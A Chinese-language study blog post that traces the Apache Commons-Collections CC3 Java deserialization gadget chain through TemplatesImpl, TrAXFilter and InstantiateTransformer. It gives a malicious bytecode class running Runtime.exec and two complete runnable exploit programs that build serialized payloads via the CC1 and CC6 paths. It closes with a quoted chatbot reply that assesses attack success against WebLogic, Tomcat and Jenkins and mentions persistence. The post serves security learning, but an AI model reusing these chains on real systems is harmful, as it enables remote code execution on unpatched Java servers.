刚开始学习JAVA还是有点蒙的,但好在坚持下来了。
CC3链与CC1和CC6区别很大,CC3是通过动态加载类机制实现自动执行恶意代码。
恶意类Calc
1 2 3 4 5 6 7 8 9 10 11 import java.io.IOException;public class Calc { static { try { Runtime.getRuntime().exec("calc" ); } catch (IOException e){ e.printStackTrace(); } } }
java.lang.ClassLoader
,此时的 defineClass()
方法是有局限性的,因为它只是加载类,并不执行类。若需要执行,则需要先进行 newInstance()
的实例化。
TemplatesImpl 解析 java.lang.ClassLoader
中有很多个defineClass()
的重载。
1 2 3 4 5 6 7 8 9 10 11 12 @Deprecated protected final Class<?> defineClass(byte [] b, int off, int len)protected final Class<?> defineClass(String name, byte [] b, int off, int len) 实际调用的是defineClass(String name, byte [] b, int off, int len, null )protected final Class<?> defineClass(String name, byte [] b, int off, int len,ProtectionDomain protectionDomain)protected final Class<?> defineClass(String name,java.nio.ByteBuffer b,ProtectionDomain protectionDomain) defineClass 0 -2 是native ,`native ` 关键字用于声明本地方法(Native Method),使用其他语言实现
这里选择如下:
1 2 3 4 5 protected final Class<?> defineClass(String name, byte [] b, int off, int len) throws ClassFormatError { return defineClass(name, b, off, len, null ); }
find usage寻找调用
TransletClassLoader.defineClass() com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.TransletClassLoader
是一个内部类,defineClass就是此类中的方法
1 2 3 Class defineClass (final byte [] b) { return defineClass(null , b, 0 , b.length); }
TemplatesImpl.defineTransletClasses() defineTransletClasses()
,_bytecodes不能为null,否则会抛出异常
1 2 3 4 5 6 7 8 9 10 11 12 private void defineTransletClasses () throws TransformerConfigurationException { if (_bytecodes == null ) { ErrorMsg err = new ErrorMsg (ErrorMsg.NO_TRANSLET_CLASS_ERR); throw new TransformerConfigurationException (err.toString()); } for (int i = 0 ; i < classCount; i++) { _class[i] = loader.defineClass(_bytecodes[i]); final Class superClass = _class[i].getSuperclass(); }
_bytecodes
是在构造时传入的,但是不是public,无法直接调用
1 2 3 4 5 6 7 protected TemplatesImpl (byte [][] bytecodes, String transletName, Properties outputProperties, int indentNumber, TransformerFactoryImpl tfactory) { _bytecodes = bytecodes; init(transletName, outputProperties, indentNumber, tfactory); }
TemplatesImpl.getTransletInstance() 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 private Translet getTransletInstance () throws TransformerConfigurationException { try { if (_name == null ) return null ; if (_class == null ) defineTransletClasses(); AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance(); translet.postInitialization(); translet.setTemplates(this ); translet.setServicesMechnism(_useServicesMechanism); translet.setAllowedProtocols(_accessExternalStylesheet); if (_auxClasses != null ) { translet.setAuxiliaryClasses(_auxClasses); } return translet; } catch (InstantiationException e) { ErrorMsg err = new ErrorMsg (ErrorMsg.TRANSLET_OBJECT_ERR, _name); throw new TransformerConfigurationException (err.toString()); } catch (IllegalAccessException e) { ErrorMsg err = new ErrorMsg (ErrorMsg.TRANSLET_OBJECT_ERR, _name); throw new TransformerConfigurationException (err.toString()); } }
在 getTransletInstance()
中有一个 newInstance()
实例化的过程。实例化的 _class
是defineclass()
加载的类。但是需要注意两个if
1 2 3 _name != null _class == null 此时函数触发
newTransformer()
很熟悉啊,而且是public
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public synchronized Transformer newTransformer () throws TransformerConfigurationException { TransformerImpl transformer; transformer = new TransformerImpl (getTransletInstance(), _outputProperties, _indentNumber, _tfactory); if (_uriResolver != null ) { transformer.setURIResolver(_uriResolver); } if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) { transformer.setSecureProcessing(true ); } return transformer; }
梳理+测试 1 2 3 4 5 6 7 8 9 TemplatesImpl.newTransformer() _name != null _class == null TemplatesImpl.getTransletInstance() _bytecodes != null TemplatesImpl.defineTransletClasses() TransletClassLoader.defineClass()
此外,还需要注意属性 _tfactory == null
,会空指针错误。
1 private transient TransformerFactoryImpl _tfactory = null ;
ctrl+左键,寻找相关
1 _tfactory = new TransformerFactoryImpl ();
又报错了
1 2 3 4 5 6 if (superClass.getName().equals(ABSTRACT_TRANSLET)) { _transletIndex = i; }else { _auxClasses.put(_class[i].getName(), _class[i]); }
调试查看
_auxClasses
为null,初始化为一个HashMap,但是加载的类起码要两个,所以反射搞搞。
1 2 3 if (classCount > 1 ) { _auxClasses = new HashMap<>() }
defind的类没有继承ABSTRACT_TRANSLET
,则会是初始值-1。直接反射,绕过if试试,试试就逝世,总有点小问题。
1 2 3 4 if (_transletIndex < 0 ) { ErrorMsg err= new ErrorMsg (ErrorMsg.NO_MAIN_TRANSLET_ERR, _name); throw new TransformerConfigurationException (err.toString()); }
其实没必要反射,可以直接继承一下的
恶意类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 import java.io.IOException;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;public class Calc extends AbstractTranslet { static { try { Runtime.getRuntime().exec("calc" ); } catch (IOException e){ e.printStackTrace(); } } @Override public void transform (DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
CC1 链的 TemplatesImpl 的实现方式 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 @Test public void test () throws Exception { byte [] evil = Files.readAllBytes(Paths.get("D:\\javaSec\\CC\\src\\main\\java\\Calc.class" )); byte [][] codes = {evil}; TemplatesImpl templates = new TemplatesImpl (); Class<?> clazz = templates.getClass(); Field _name = clazz.getDeclaredField("_name" ); _name.setAccessible(true ); _name.set(templates, "test" ); Field _bytecodes = clazz.getDeclaredField("_bytecodes" ); _bytecodes.setAccessible(true ); _bytecodes.set(templates, codes); Field _tfactory = clazz.getDeclaredField("_tfactory" ); _tfactory.setAccessible(true ); _tfactory.set(templates,new TransformerFactoryImpl ()); Field _auxClasses = clazz.getDeclaredField("_auxClasses" ); _auxClasses.setAccessible(true ); _auxClasses.set(templates, new HashMap <>()); Transformer[] transformers = new Transformer []{ new ConstantTransformer (templates), new InvokerTransformer ("newTransformer" , null , null ) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); chainedTransformer.transform(1 ); }
1是作为 ConstantTransformer.transform()
的参数。
CC6 链的 TemplatesImpl 的实现方式 CC6这里出了点问题
丢掉_auxClasses的初始化试一试
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 @Test public void testCC6 () throws Exception { byte [] evil = Files.readAllBytes(Paths.get("D:\\javaSec\\CC\\src\\main\\java\\Calc.class" )); byte [][] codes = {evil}; TemplatesImpl templates = new TemplatesImpl (); Class<?> clazz = templates.getClass(); Field _name = clazz.getDeclaredField("_name" ); _name.setAccessible(true ); _name.set(templates, "test" ); Field _bytecodes = clazz.getDeclaredField("_bytecodes" ); _bytecodes.setAccessible(true ); _bytecodes.set(templates, codes); Field _tfactory = clazz.getDeclaredField("_tfactory" ); _tfactory.setAccessible(true ); _tfactory.set(templates,new TransformerFactoryImpl ()); Transformer[] transformers = new Transformer []{ new ConstantTransformer (templates), new InvokerTransformer ("newTransformer" , null , null ) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); ConstantTransformer constantTransformer= new ConstantTransformer ("123" ); HashMap map = new HashMap <>(); Map lazymap = LazyMap.decorate(map, constantTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry (lazymap, "key" ); HashMap<TiedMapEntry,Object> hashMap = new HashMap <>(); hashMap.put(tiedMapEntry,"value" ); map.remove("key" ); Class c = LazyMap.class; Field fieldfactory = c.getDeclaredField("factory" ); fieldfactory.setAccessible(true ); fieldfactory.set(lazymap,chainedTransformer); serializable(hashMap); unserializable("ser.bin" ); }
回归CC3
_main 没有后续被调用
getOutputProperties还是跑到了_main
newTransformer里面的templates是定死了的。
1 2 3 4 5 6 7 8 9 10 11 @Override public Transformer newTransformer (Source source) throws TransformerConfigurationException { final Templates templates = newTemplates(source); final Transformer transformer = templates.newTransformer(); if (_uriResolver != null ) { transformer.setURIResolver(_uriResolver); } return (transformer); }
newTransformerHandler跑到了_main
TrAXFilter com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter
在初始化的时候调用newTransformer()
1 2 3 4 5 6 7 8 public TrAXFilter (Templates templates) throws TransformerConfigurationException { _templates = templates; _transformer = (TransformerImpl) templates.newTransformer(); _transformerHandler = new TransformerHandlerImpl (_transformer); _useServicesMechanism = _transformer.useServicesMechnism(); }
这时候可以通过继续寻找调用或者反射获取构造函数继续。
org.apache.commons.collections.functors.InstantiateTransformer
的transform
是实例化一个对象,我们可以通过ChainedTransformer
实现调用。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 public Object transform (Object input) { try { if (input instanceof Class == false ) { throw new FunctorException ( "InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName())); } Constructor con = ((Class) input).getConstructor(iParamTypes); return con.newInstance(iArgs); } catch (NoSuchMethodException ex) { throw new FunctorException ("InstantiateTransformer: The constructor must exist and be public " ); } catch (InstantiationException ex) { throw new FunctorException ("InstantiateTransformer: InstantiationException" , ex); } catch (IllegalAccessException ex) { throw new FunctorException ("InstantiateTransformer: Constructor must be public" , ex); } catch (InvocationTargetException ex) { throw new FunctorException ("InstantiateTransformer: Constructor threw an exception" , ex); } }
参数传递和InvokerTransformer
一致,实例化时传入。
1 2 3 4 5 public InstantiateTransformer (Class[] paramTypes, Object[] args) { super (); iParamTypes = paramTypes; iArgs = args; }
后面可通过CC1和CC6的两种方式调用
后半
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 @Test public void test2 () throws Exception { byte [] evil = Files.readAllBytes(Paths.get("D:\\javaSec\\CC\\src\\main\\java\\Calc.class" )); byte [][] codes = {evil}; TemplatesImpl templates = new TemplatesImpl (); Class<?> clazz = templates.getClass(); Field _name = clazz.getDeclaredField("_name" ); _name.setAccessible(true ); _name.set(templates, "test" ); Field _bytecodes = clazz.getDeclaredField("_bytecodes" ); _bytecodes.setAccessible(true ); _bytecodes.set(templates, codes); Field _tfactory = clazz.getDeclaredField("_tfactory" ); _tfactory.setAccessible(true ); _tfactory.set(templates,new TransformerFactoryImpl ()); InstantiateTransformer instantiateTransformer = new InstantiateTransformer (new Class []{Templates.class}, new Object []{templates}); instantiateTransformer.transform(TrAXFilter.class); }
属性 _auxClasses
的存在会影响CC6的链子错误,但是CC1的链子不影响
最终 CC1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InstantiateTransformer;import org.apache.commons.collections.map.LazyMap;import javax.xml.transform.Templates;import java.io.*;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;import java.util.Map;public class CC3one { public static void main (String[] args) throws Exception { byte [] evil = Files.readAllBytes(Paths.get("D:\\javaSec\\CC\\src\\main\\java\\Calc.class" )); byte [][] codes = {evil}; TemplatesImpl templates = new TemplatesImpl (); Class<?> clazz = templates.getClass(); Field _name = clazz.getDeclaredField("_name" ); _name.setAccessible(true ); _name.set(templates, "test" ); Field _bytecodes = clazz.getDeclaredField("_bytecodes" ); _bytecodes.setAccessible(true ); _bytecodes.set(templates, codes); Field _tfactory = clazz.getDeclaredField("_tfactory" ); _tfactory.setAccessible(true ); _tfactory.set(templates,new TransformerFactoryImpl ()); InstantiateTransformer instantiateTransformer = new InstantiateTransformer (new Class []{Templates.class}, new Object []{templates}); ChainedTransformer chainedTransformer = new ChainedTransformer (new Transformer []{ new ConstantTransformer (TrAXFilter.class), instantiateTransformer }); HashMap hashMap = new HashMap (); Map lazymap = LazyMap.decorate(hashMap, chainedTransformer); Class<?> annotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor<?> declaredConstructor = annotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class); declaredConstructor.setAccessible(true ); Object h = declaredConstructor.newInstance(Target.class,lazymap); Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), (Class<?>[]) new Class []{Map.class}, (InvocationHandler) h); h = (InvocationHandler) declaredConstructor.newInstance(Override.class, proxyMap); serializable(h); unserializable("ser.bin" ); } public static void serializable (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unserializable (String path) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream (new FileInputStream (path)); return ois.readObject(); } }
CC6实现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InstantiateTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import javax.xml.transform.Templates;import java.io.*;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;import java.util.Map;public class CC3six { public static void main (String[] args) throws Exception { byte [] evil = Files.readAllBytes(Paths.get("D:\\javaSec\\CC\\src\\main\\java\\Calc.class" )); byte [][] codes = {evil}; TemplatesImpl templates = new TemplatesImpl (); Class<?> clazz = templates.getClass(); Field _name = clazz.getDeclaredField("_name" ); _name.setAccessible(true ); _name.set(templates, "test" ); Field _bytecodes = clazz.getDeclaredField("_bytecodes" ); _bytecodes.setAccessible(true ); _bytecodes.set(templates, codes); Field _tfactory = clazz.getDeclaredField("_tfactory" ); _tfactory.setAccessible(true ); _tfactory.set(templates,new TransformerFactoryImpl ()); InstantiateTransformer instantiateTransformer = new InstantiateTransformer (new Class []{Templates.class}, new Object []{templates}); ChainedTransformer chainedTransformer = new ChainedTransformer (new Transformer []{ new ConstantTransformer (TrAXFilter.class), instantiateTransformer }); ConstantTransformer constantTransformer= new ConstantTransformer ("123" ); HashMap map = new HashMap <>(); Map lazymap = LazyMap.decorate(map, constantTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry (lazymap, "key" ); HashMap<TiedMapEntry,Object> hashMap = new HashMap <>(); hashMap.put(tiedMapEntry,"value" ); map.remove("key" ); Class c = LazyMap.class; Field fieldfactory = c.getDeclaredField("factory" ); fieldfactory.setAccessible(true ); fieldfactory.set(lazymap,chainedTransformer); serializable(hashMap); unserializable("ser.bin" ); } public static void serializable (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unserializable (String path) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream (new FileInputStream (path)); return ois.readObject(); } }
小摊 看到代码会报错,但是命令成功执行,有点慌。看看chatgpt的回复。没师傅带是这样的。
如果反序列化时 命令已经成功执行,但代码仍然报错,这在 实际利用场景 下 通常不会影响 攻击效果,原因如下:
利用链已成功触发恶意代码执行
你的 Calc.class
已被 TemplatesImpl
解析,并且 Runtime.getRuntime().exec("calc")
已经执行,说明 恶意字节码已经生效。
反序列化报错的部分 很可能是执行完恶意代码后,反序列化流程本身出错,但这不会影响你的 RCE(远程代码执行)。
实际攻击场景通常是一次性利用
在 真实攻击场景(如攻击 Weblogic、Tomcat、Jenkins)中,攻击者的目标是执行命令,而不是保持对象的完整性。
命令成功执行即表示攻击成功,后续的反序列化错误 不会影响攻击效果,因为攻击者可能会直接断开连接。
虽然错误 不会影响 RCE,但在某些情况下,可能会影响后续的攻击步骤:
如果目标环境要求返回合法对象
某些 Web 应用可能期望反序列化后的对象可以正常使用(比如存入数据库、继续传输)。
这种情况下,反序列化失败 可能导致整个请求失败,暴露异常日志。
攻击者希望持续利用
如果你想通过 反序列化后门 植入持久化恶意对象,确保下一次反序列化时依旧可用,反序列化报错 可能影响后续利用。
结论 如果你的目标是 RCE(远程代码执行),那么命令执行成功,报错无影响。 但如果你希望持久化攻击或让反序列化流程完整执行,则需要优化利用链,以避免错误
所以有些事情不是绝对的,实战会测试一番。